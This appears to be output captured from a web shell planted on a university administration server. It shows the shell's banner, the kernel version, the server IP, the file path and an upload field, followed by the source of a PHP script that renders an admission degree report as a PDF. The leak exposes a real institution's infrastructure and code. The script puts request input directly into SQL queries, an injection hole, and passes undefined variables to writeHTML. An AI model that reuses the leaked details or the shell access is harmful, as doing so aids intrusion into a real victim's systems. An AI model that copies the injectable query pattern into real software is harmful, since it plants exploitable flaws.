0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.139.93.209


Current Path : /var/www/html/univadmin/Reports/
Upload File :
Current File : /var/www/html/univadmin/Reports/AdmisionDegReport.php

<?php
$main_src = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - 7);
$pdf_writer_class = $main_src . "/tcpdf/tcpdf.php";
require_once $pdf_writer_class;
require_once("degreeWiseStudentlist_excel.php");
// ini_set('memory_limit','900M');
// ini_set('max_execution_time',0);

class MYPDF extends TCPDF
{
    public $aobj_context;
    public $degreegrp;

   

    public function setData($aobj_context)
    {
        $this->aobj_context = $aobj_context;
    }

    public function Header($aobj_context)
    {

        if($this->aobj_context->FUNIVCODE=="051"){
            $website="http://www.dypatil.edu";
        }
        else{
            $website="";
        }
        
        $bMargin = $this->getBreakMargin();
        // get current auto-page-break mode
        $auto_page_break = $this->AutoPageBreak;
        // disable auto-page-break
        $this->SetAutoPageBreak(false, 0);
        $this->SetTitle("Admission Degree Report");

        // set bacground image
        // $this->SetFillColor(248, 248, 255);
        $img_path = $this->aobj_context->main_src . "img/".$this->aobj_context->FUNIVCODE."_logo.jpg";
     
        if (file_exists($img_path)) {
            $this->Image($img_path, 10,5,25,25);
        }

        $this->SetFont('Times', 'B', 12);
        
        $this->Ln(5);
        $this->Cell(0, 4, $this->aobj_context->FUNIVNAME, 0, 1, 'C');

        $this->SetFont('Times', 'B', 10);
        $this->Cell(0, 4, $this->aobj_context->add, 0, 1, 'C');
        
        if($this->aobj_context->FUNIVCODE=="051"){
            $this->SetFont('Times','B',10);
			$this->cell(0,7,"RE-ACCREDITED by the NAAC with ‘A++’ Grade","0",1,'C');
        }
        //state
        $this->SetFont('Times', '', 10);
        $this->Cell(0, 4, $this->aobj_context->s_state, 0, 1, 'C');
        // telephone number
        $this->SetFont('Times', '', 9);
        $this->Cell(0, 4, "TEL- ".$this->aobj_context->telno."     ". $website, 0, 1, 'C');
        $this->SetFont('Times', 'B', 12);
        $this->Cell(0, 6, $this->result['fstatus'], 0, 1, 'C');
        
        $this->SetAutoPageBreak($auto_page_break, $bMargin);
    }

    public function Footer()
    {
       if($this->aobj_context->FUNIVCODE == '051')
            $dbname = "dypatil";

        $sign = '/var/www/oasis/'.$dbname.'img/'.$this->aobj_context->fsignpath;
       
		$this->SetY(-20);
        $this->SetFont('helvetica', 'I', 8);
        if($this->CurOrientation == 'P')
        {
            if(file_exists($sign)) 
                $this->Image($sign,155,265,40);

            $this->SetFont('Times', 'B', 11);    
            $this->Cell(0,4,"Controller of Examinations","",1,"R");
        }
        else {
            if(file_exists($sign)) 
                $this->Image($sign,145);
            $this->SetFont('Times', 'B', 11);    
            $this->Cell(0,4,"Controller of Examinations","",1,"R");
        }
    }
}

class ReprtObject
{

    public function DefaultConstructor($aobj_context)
    {
        $this->aobj_context = $aobj_context;
        
        $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC);
        $this->deggrp = $aobj_context->mobj_data["deggrp"];
        $this->ip = $_SERVER["REMOTE_ADDR"];
        $get_date = "select DATE_FORMAT(now(), '%d/%m/%Y') as now_date";
        $obj = $this->aobj_context->mobj_db->GetRow($get_date);
        $this->reportType = $aobj_context->mobj_data["rtype"];

        $get_coll_name = "SELECT FUNIVNAME AS 'FUNIVNAME',FUNIVCODE,funivadd2,
        FUNIVADD1 AS 'state', pdf_logo_path,ftdvs_helplineno AS telno,
        IFNULL(FEXAMAPPREQ,'F') AS FEXAMAPPREQ,fnotifnum FROM control";

        $lobj_get_coll_name = $this->aobj_context->pobj_db->GetRow($get_coll_name);

        $aobj_context->FUNIVNAME = $lobj_get_coll_name['FUNIVNAME'];
        $aobj_context->s_state = $lobj_get_coll_name['state'];
        $aobj_context->add = $lobj_get_coll_name['funivadd2'];
        $aobj_context->telno = $lobj_get_coll_name['telno'];
        $aobj_context->fnotifnum = $lobj_get_coll_name['fnotifnum'];
        $aobj_context->pdf_logo_path = $lobj_get_coll_name['pdf_logo_path'];

        $aobj_context->FUNIVCODE = $lobj_get_coll_name['FUNIVCODE'];
       
        $this->current_date = $obj['now_date'];

        $this->pdf = new MYPDF('P',PDF_UNIT, PDF_PAGE_FORMAT, true, 'ISO-8859-1', false);
        $this->pdf->setData($aobj_context);

    }

    public function Report($aobj_context)
    {
        
        
        $query = "SELECT DISTINCT  fdegree,fdescpn,fadmdeg FROM degree WHERE 
              fdeggrp='{$this->deggrp}' AND fexamno='A'";
             
        $res = $this->aobj_context->pobj_db->GetAll($query);
        
        $query01 = "SELECT DISTINCT  fdeggrp,fdescpn FROM deggrp WHERE 
              fdeggrp='{$this->deggrp}'";
            
        $res01 = $this->aobj_context->pobj_db->GetRow($query01);
        $pdf = $this->pdf;
        $pdf->AddPage("P");
        $pdf->SetY(45);
        $pdf->SetFont('Times', 'B', 10);
        $pdf->Cell(0, 6, "Degree Group: ".$res01['fdescpn'],0, 1, 'L');
        $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        $pdf->SetFont('Times', 'B', 10);

    //     $table1 = '<style>
    //     td,th {
    //         border: 0.5px solid black;
    //     }
    //     .lable {
    //         font-weight: bold;
    //     }
    //     </style>
    //     <table cellpadding="3" cellspacing="0">
        
    //     <tr nobr="true">
    //         <th width="35" style="text-align: center;"><b>Sl. No.</b></th>
    //         <th width="100" style="text-align: center;"><b>Degree Code</b></th>
    //         <th width="350" style="text-align: center;"><b>Degreee Name</b></th> 
    //     </tr>
       
    //   ';
    //   $table2 = '';
    //   $count = 1;
    //   $pdf->SetFont('Times', '', 11);
      
    //   for ($key = 0; $key < count($res); $key++) {
    //       $val = $res[$key];
    //       $fdegree = $val['fdegree'];
    //       $fdescpn = $val['fdescpn'];
      
    //       $table2 .= '<tr nobr="true">
    //           <td width="35" style="text-align: center;">' . $count . '</td>
    //           <td width="100" style="text-align: center;">' . $fdegree . '</td>
    //           <td width="350" style="text-align: left;">' . $fdescpn . '</td>
    //       </tr>';
      
    //       $count++;
    //   }
      
    //   echo $table2;
    //   $count = 1;

    //     foreach($res as $key => $val)
    //     {
            
           
    //         $fdegree = $val['fdegree'];
    //         $fdescpn = $val['fdescpn'];
           
    //         $table2 .= '<tr nobr="true">
    //         <td width="35" style="text-align: center;" >'.$count.'</td>
    //         <td width="100" style="text-align: center;>'.$fdegree.'</td>
    //         <td width="350" style="text-align: left;" >'.$fdescpn.'</td>
    //         </tr>';
    //         $count++;
    //     }  
    //     $table2 .='</table>';
        $pdf->writeHTML($table1,false,'L');
        $pdf->writeHTML($table2, false, true, false, false, 'L');
        $pdf->Cell(20, 8, "Sl. No." ,'LRT', 0, 'C');
        $pdf->Cell(40, 8, "Degree Code" ,'LRT', 0, 'C');
        $pdf->Cell(120, 8, "Degreee Name" ,'LRT', 1, 'C');
        $pdf->SetFont('Times', '', 11);

        $i=1;
        foreach($res as $key => $val)
            {
                $fdegree = $val['fdegree'];
                $fdescpn = $val['fdescpn'];
                $pdf->Cell(20, 6, $i ,'LRTB', 0, 'C');
                $pdf->Cell(40, 6, $fdegree ,'LRTB', 0, 'C');
                $pdf->Cell(120, 6, $fdescpn ,'LRTB', 1, 'L'); 
               
                $i++;
            }  
      
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');
        // $pdf->Cell(0, 6, "Sem / Year: I" ,0, 1, 'L');

    }

    public function SendOutput()
    {
        $this->pdf->Output("Admission Degree Report", "I");
    }
}

function getAdmisionDegReport($aobj_context)
{
    $univcode = $aobj_context->mobj_data["univcode"];  
    $deggrp = $aobj_context->mobj_data["deggrp"];
    $class_obj = new ReprtObject();

    $class_obj->DefaultConstructor($aobj_context);

    $class_obj->Report($aobj_context);
    $class_obj->SendOutput();

}